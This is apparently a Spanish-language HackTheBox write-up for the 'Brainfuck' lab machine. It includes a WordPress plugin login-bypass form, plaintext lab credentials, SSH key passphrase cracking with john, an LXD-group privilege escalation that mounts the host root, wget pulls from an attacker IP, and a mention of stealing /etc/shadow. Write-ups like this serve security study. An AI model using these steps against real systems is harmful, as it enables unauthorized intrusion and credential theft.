# Brainfuck WriteUp
Hola a todos este es mi primer writeup sobre alguna caja de HackTheBox para la comunidad de habla hispana, solamente subiré aquellas máquinas que me gustaron y que no me dieron flojera al hacer los writeups :v
## Información General

Nmap scan:
```
# Nmap 7.91 scan initiated Thu Feb 25 17:07:35 2021 as: nmap -sC -sV -p22,25,110,143,443 -vv -Pn -oN nmap/brainfuck.nmap 10.10.10.17
Nmap scan report for 10.10.10.17
Host is up, received user-set (0.13s latency).
Scanned at 2021-02-25 17:07:36 -05 for 53s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvFkWE1DxJj4OsU4DiVLjkxYV2a9pSlMS/78hpx0IejJaFilgNb+RFCyfyhIw5NvsZB6hZiNL0vPDh+MscPd75heIIgx9mczfamsrA2KODdkdgUJPCBWUnF9/VhYQhJpGvo4f6lAwLz7wnmcjhiXencMNkZcweADi5aK0Xp6iFxYcwx6+qy0891gQ5TnVVazkDJNA+QMUamxJRm1tQN5dp/+TeBecWJH2AxQFXsM4wPkIFaE0GsKvYDmGyfy1YL/Gn5IxEqVrhIEYkDH4BQsbvORNueOtJKHoys7EhPF+STpx6ZAXS6AXhS/nJMz6EvubzeGqfBOaDIZN9u5JuCdf
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCJcOJZuuBlw9xDXy+VPpezMomPfySGOjABaxw02cmRifvzWE57mh1hlQD6z44IF1lsuW9E2NNH4xB4d8U0O5b0=
| 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOokdEAUqLEqEuY1CHNJ2xaDU+L+/0qb3XZO8UIZfrju
25/tcp open smtp syn-ack ttl 63 Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: UIDL SASL(PLAIN) PIPELINING USER TOP RESP-CODES AUTH-RESP-CODE CAPA
143/tcp open imap syn-ack ttl 63 Dovecot imapd
|_imap-capabilities: LITERAL+ SASL-IR IMAP4rev1 more ID capabilities post-login have ENABLE listed Pre-login OK LOGIN-REFERRALS AUTH=PLAINA0001 IDLE
443/tcp open ssl/http syn-ack ttl 63 nginx 1.10.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Issuer: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/emailAddress=orestis@brainfuck.htb/localityName=Athens/organizationalUnitName=IT
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-04-13T11:19:29
| Not valid after: 2027-04-11T11:19:29
| MD5: cbf1 6899 96aa f7a0 0565 0fc0 9491 7f20
| SHA-1: f448 e798 a817 5580 879c 8fb8 ef0e 2d3d c656 cb66
| -----BEGIN CERTIFICATE-----
| MIIFQzCCA6ugAwIBAgIJAI24F5h8eY+HMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYD
| VQQGEwJHUjEPMA0GA1UECAwGQXR0aWNhMQ8wDQYDVQQHDAZBdGhlbnMxFzAVBgNV
| BAoMDkJyYWluZnVjayBMdGQuMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNYnJhaW5m
| dWNrLmh0YjEkMCIGCSqGSIb3DQEJARYVb3Jlc3Rpc0BicmFpbmZ1Y2suaHRiMB4X
| DTE3MDQxMzExMTkyOVoXDTI3MDQxMTExMTkyOVowgZMxCzAJBgNVBAYTAkdSMQ8w
| DQYDVQQIDAZBdHRpY2ExDzANBgNVBAcMBkF0aGVuczEXMBUGA1UECgwOQnJhaW5m
| dWNrIEx0ZC4xCzAJBgNVBAsMAklUMRYwFAYDVQQDDA1icmFpbmZ1Y2suaHRiMSQw
| IgYJKoZIhvcNAQkBFhVvcmVzdGlzQGJyYWluZnVjay5odGIwggGiMA0GCSqGSIb3
| DQEBAQUAA4IBjwAwggGKAoIBgQCjBI0m6FWgcLYONyxVeMgc+PuTFJMnMUjMb8BF
| t0PIDSCt10grCCfzBNDIqfU9byiokyYVvvD+sRoWJQfMjd3I3NXMxHwpcLM6X9oR
| Twt1iBBJRQkTnHOs1hyCmkiM+kn2W1xdL+mwBylAUlvUReLIDdS5anE7u95ApWsD
| TTUt/mMUl1DwnCqrNkt3czQzCNfCIwIhbaLjsoXsiVo1fFEr6UpsyiaXad9eTTsl
| EF9k3rByXrmP1WrkaFLqGhqS4v+rYtsyKGPngjAB664aAvB2sSI0/EuOTa7WOPcV
| NP3Tga+zx55qXPeo6nqCttOlAKKwiZqba5AgDAjSFdB6Q60dghWSuRYU999Ku6zA
| DdwP0BoT5+kcZJENY7wx1uzysSMrtCoi8E6bfx42UwNQe/UCDDXErXat90hTB+vV
| h2vaSdyR0tz3w1iIHBZH5/3rY3f+LyfE9fSg2TbGFgZNDq6O/iykVWb9SG+tl1fA
| RB208Y1/mOw0+84G9RIjLVMLb0kCAwEAAaOBlzCBlDAdBgNVHQ4EFgQUj12KscJg
| /6gSHzm+kzSN/psvik8wHwYDVR0jBBgwFoAUj12KscJg/6gSHzm+kzSN/psvik8w
| DAYDVR0TBAUwAwEB/zALBgNVHQ8EBAMCBeAwNwYDVR0RBDAwLoIRd3d3LmJyYWlu
| ZnVjay5odGKCGXN1cDNyczNjcjN0LmJyYWluZnVjay5odGIwDQYJKoZIhvcNAQEL
| BQADggGBAJ11TuRhhSQfq5NHXU5fV5VkCOPUx3yKsWjt93Qm8WDD2rJcZAq8jW59
| NHDWhzDlKZMyNYv8gKJ8k6HuG3f20yeifKZulGw/YsY6dDtTzO+tooBqzjWb9irh
| bpMIVXv1xBSuz+f5YGdzpvlMK/Ltt1nEQNjKXaTnjy7OGfp4isMZCzBZeKAKnjdn
| +s6TgFrFA94B56naXNaNLHvv9WcFKviwDTP2PtDz0fc9hbnZz8oxE5Q6/l50NGUK
| 6bGCVIjDJfM/SsWPLHb4J6chkJxlZZLmpid+s5PsKSdY0ZZ1Oxb20O2mla77hDSJ
| d43t/sZRBwWPEWxAHUR8Dj5pcrbCFyi57Qu4ENc5w7H0RhRyd0/OWs6ahn2ef4Qy
| DSWfdpd5CVBGdSLVlVSjzLcBDmWuyy8q5CTgJ3VzIzOreg93F2mVAF+tlNZRX9rc
| dFjsS0lwXWRZqd6642VuAtf4HoAFBh9PfBtUx+t1DxCXyY7OTwnvMsnNFg9fw11v
| krhc81zFeg==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 25 17:08:29 2021 -- 1 IP address (1 host up) scanned in 54.97 seconds
```
## User
Podemos ver un servidor smtp (correo electrónico), un https 443 y ssh. Además podemos ver dos dominios apuntando: `brainfuck.htb` y `sup3rs3cr3t.brainfuck.htb`
Desde wappalyzer vi que hay un wordpress ejecutándose...
Enumerando usuarios a través de https y abusando de complementos vulnerables:
```sh
# wpscan --url https://brainfuck.htb/ --disable-tls-checks -e u
```
```
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] administrator
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```
Next we search from a PoC or an exploit for WP Support Ticket Plus (or something like that)
we use a Privesc PoC we use a custim form pointing to an user in action to wp-admin/admin-ajax.php:
```html
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
```
Observe que cambié el nombre de usuario y el valor del correo electrónico a admin y oresits@brainfuck.htb y lo usé, primero configuramos un servidor HTTP simple:
```sh
python3 -m http.server 8000
```
Luego iniciamos sesión y hacemos clic en el botón de inicio de sesión, luego actualiza brainfuck.htb y ¡whoala! Ahora puedo ver el panel de administración.
Pasé algún tiempo probando la inyección de código en temas o cargando un complemento malvado, pero no funcionó. Luego recuerdo el smtp y busqué en google smtp en wordpress y obtuve el resultado de la configuración de administrador de Easy SMTP wordpress y obtuve un crédito:
` orestis@brainfuck.htb:
kHGuERB29DNiNE`
Utilizo evolution para configurar un smtp porque es el primer cliente de correo electrónico que aprendí, después de configurar todo, encontré un correo electrónico con algunos créditos para el foro `sup3rs3cr3t.brainfuck.htb`:
from root@brainfuck.htb:
Hi there, your credentials for our "secret" forum are below :)
username: orestis
password: kIEnnfEKJ#9UmdO
Regards
Inicie sesión con ese usuario y vea algunas publicaciones e hilos con uno interesante y este estaba encriptado, realmente pasé tantos nuestros tratando de descifrar y algún amigo me dio una pista y puedo descifrar el código vigenere con éxito.
Texto encriptado:
Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)
mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
Llave para la desencriptación: `FUCKMYBRAIN`
Ahora tenemos una clave id_rsa pero necesitamos una frase de contraseña para usarla.
Podemos sacar el hash del passphrase con ssh2hohn.py y luego usamos john y estamos dentro.
```
# ssh2john.py id_rsa > root_hash.txt
# john --wordlist=/usr/share/wordlist/rockyou.txt root_hash.txt
```
## Root
Primero que nada hacemos una enumeración basica sobre qué permisos tenemos y vemos que pertencemos al grupo lxc.
Pasos para el privesc:
1. Haz una imagen alpine en tu máquina de ataque, recomiendo ditrobuilder para eso.
El proceso de instalación se encuentra en su github oficial en el siguiente url
https://github.com/lxc/distrobuilder
Comandos usados para crear la imagen de alpine:
```sh
// Primero descargamos el archivo de configuración .yaml de la imagen:
# wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
// Construimos la imagen:
# $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
```
Después se nos crearan 2 archivos, __lxd.tar.xz__ y __rootfs.squashfs__.
2. Descargue la imagen y el archivo raíz en la máquina víctima, para esto pueden usar un servidor web python y wget en la maquina victima.
```sh
// Servidor en máquina local
# python3 -m http.server 8000
// Descarga en máquina víctima
$ wget http://10.10.14.21:8000/lxd.tar.xz
$ wget http://10.10.14.21:8000/rootfs.squashfs
```
4. Luego importe la imagen que monta el directorio raíz en la partición /mnt/ de la imagen alpine.
```sh
$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
$ lxc init alpine privesc -c security.privileged=true
$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
6. Ejecute un shell en alpine, vaya a /mnt/root/root/ y podrá ver el root.txt
```sh
$ lxc start privesc
$ lxc exec privesc /bin/sh
# cat /mnt/root/root/root.txt
```
También podemos ver todos los archivos de la máquina y robar los hashes de los usuarios en */etc/shadow* para descifrar las contraseñas.
Gracias por leer y no olviden el respect.
[@retr023](https://app.hackthebox.eu/profile/207457)